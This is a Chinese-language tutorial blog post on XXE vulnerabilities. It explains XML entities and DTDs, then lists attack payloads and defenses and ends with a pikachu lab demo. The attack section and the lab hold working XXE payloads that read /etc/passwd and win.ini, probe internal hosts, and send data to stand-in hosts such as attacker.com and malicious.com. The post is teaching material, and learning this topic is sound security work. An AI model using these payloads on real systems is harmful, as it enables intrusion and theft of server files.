XXE漏洞解析(带代码演示+靶场实战)

​​​​​​​一、基本概念及原理

        什么是XXE

                XXE(XML External Entity)是一种安全漏洞,发生在应用程序解析XML输入时。攻击者可以通过该漏洞插入恶意的外部实体,从而获取系统文件或执行其他恶意操作。核心是我们输入的代码,会被当作xml代码执行

        XXE漏洞原理   

                应用程序在接受xml数据后,并使用不安全的xml解释器解析这些数据。攻击者在xml数据中插入外部实体定义。XML解释器解析实体并将内容替换到XML文档中,可能导致敏感数据的泄露或其他安全问题。

        XXE漏洞危害 

                1、敏感数据的泄露

                2、服务器端请求伪造(SSRF)

                3、拒绝服务(DOS)

                4、远程代码执行

        什么是XML

                XML(可扩展标记语言,Extensible Markup Language)是一种用于表示结构化信息的标记语言。它由W3C(万维网联盟)开发,用于存储和传输数据。XML的主要特点包括:

                1、自我描述:XML文档包含数据以及数据的结构信息,使用标签来标记数据。

                2、可扩展性:用户可以根据需要定义自己的标签,适用于多种领域和应用。

                3、平台独立性:XML是纯文本格式,可以在不同的系统和平台之间传输。

                4、层次结构:XML文档具有层次结构,数据以树状结构组织,便于解析和处理。

        什么是XML实体

                XML实体是XML文档中的一种结构,允许将一些内容定义为可重用的标识符。实体可以用于简化文档编写、引入外部内容或定义特殊字符。其中包括:

                1、内部实体:在文档内部定义,用于简化和重用内容
                2、外部实体:引用外部文件或资源
                3、预定义实体:XML标准预定义的一些特殊字符实体,如 &lt;(<)、&gt;(>)、&amp;(&)、&quot;(")、&apos;(')。

        内部实体代码演示

<!DOCTYPE note [
  <!ENTITY writer "John Doe">
]>
<note>
  <to>&writer;</to>
  <from>Jane</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

        解释:

                  <!DOCTYPE note [...]>:定义一个文档类型(DTD)。
                  <!ENTITY writer "John Doe">:定义一个名为writer的内部实体,其值为“John Doe”
                  <to>&writer;</to>:使用实体writer,实际内容为“John Doe”
。        

        外部实体代码演示

<!DOCTYPE note [
  <!ENTITY external SYSTEM "file:///path/to/file.txt">
]>
<note>
  <to>&external;</to>
  <from>Jane</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

        解释:

                <!DOCTYPE note [...]>:定义一个文档类型(DTD)。
                <!ENTITY external SYSTEM "file:///path/to/file.txt">:定义一个名为external的外部实体,引用了外部文件file.txt。
                <to>&external;</to>:使用实体external,内容为引用的外部文件内容。

        预定义实体代码演示

<message>
  This is a message with special characters: &lt;, &gt;, &amp;, &quot;, &apos;.
</message>

        什么是DTD

                DTD(文档类型定义,Document Type Definition)是一种用于定义XML文档结构和合法元素及属性的规范。它可以描述文档中可以包含哪些元素、这些元素的属性、元素之间的层次结构等。        

        DTD主要功能

                1、定义文档结构:确定文档中哪些元素是合法的以及它们的嵌套关系。
                2、属性声明:指定元素可以有哪些属性及其默认值。
                3、实体声明:定义实体(内部和外部),简化文档编写。

        DTD形式

                1、内部DTD:DTD声明在XML文档的内部。
                2、外部DTD:DTD声明在外部文件中,通过引用在XML文档中使用。

        内部DTD代码演示

<!DOCTYPE note [
  <!ELEMENT note (to, from, heading, body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

解释:

        1、<!DOCTYPE note [...]>:定义一个文档类型,名称为note。
        2、<!ELEMENT note (to, from, heading, body)>:声明note元素包含to、from、heading和body元素。
        3、<!ELEMENT to (#PCDATA)>:声明to元素包含可解析字符数据(#PCDATA)。
        4、其他元素声明类似。

外部DTD代码演示

<!DOCTYPE note SYSTEM "note.dtd">
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

外部DTD文件(note.dtd)

<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

二、常见攻击方式

        1、本地文件读取:利用XXE漏洞读取服务器上的本地文件

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

        2、服务器端请求伪造(SSRF):利用XXE漏洞让服务器发起请求,访问内部网络或其他系统。

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal.system/resource">
]>
<foo>&xxe;</foo>

        3、本地端口扫描:利用XXE漏洞扫描服务器内部的开放端口,检测内部网络的服务。

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://localhost:8080">
]>
<foo>&xxe;</foo>

        4、利用FTP协议进行文件读取:通过FTP协议读取文件。

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "ftp://example.com/file.txt">
]>
<foo>&xxe;</foo>

        5、Out-of-Band (OOB) 数据提取:利用XXE漏洞通过DNS或HTTP出带外(OOB)通道将数据发送给攻击者控制的服务器。

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/?data=file:///etc/passwd">
]>
<foo>&xxe;</foo>

        6、反射攻击:利用外部实体将恶意代码注入到XML响应中,进一步利用其他漏洞进行攻击

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://malicious.com/malicious.dtd">
]>
<foo>&xxe;</foo>

三、防御措施

        1、禁用外部实体:在XML解析器配置中禁用外部实体解析。
        2、使用安全库:使用安全的XML解析库,如Libxml2的安全模式或最新版本的DOM解析库。
        3、输入验证和过滤:严格验证和过滤用户输入,避免恶意数据注入。
        4最小权限原则:确保应用程序仅有读取和处理XML数据所需的最低权限

四、靶场演示

        pikachu演示

<?xml version = "1.0"?> 
<!DOCTYPE ANY [ 
	<!ENTITY f SYSTEM "file:///C://Windows//win.ini">
]<x>&f;</x>

        解释:

                <?xml version = "1.0"?>:这是XML文档的声明,指定了XML的版本。

                <!DOCTYPE ANY [ ]>:这是定义文档类型声明(DTD)的部分,通常用于定义XML文档的结构。这里的ANY只是一个占位符,表示任何文档类型。

                <!ENTITY f SYSTEM "file:///C://Windows//win.ini">:这是定义了一个外部实体f,它的值是本地文件C://Windows//win.ini的内容。SYSTEM关键字表明这个实体引用的是一个系统资源(文件)。

                <x>&f;</x>:在XML文档中使用实体&f;。当解析这个XML文档时,解析器会尝试读取f实体的内容,也就是读取并插入C://Windows//win.ini文件的内容

  • 51
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值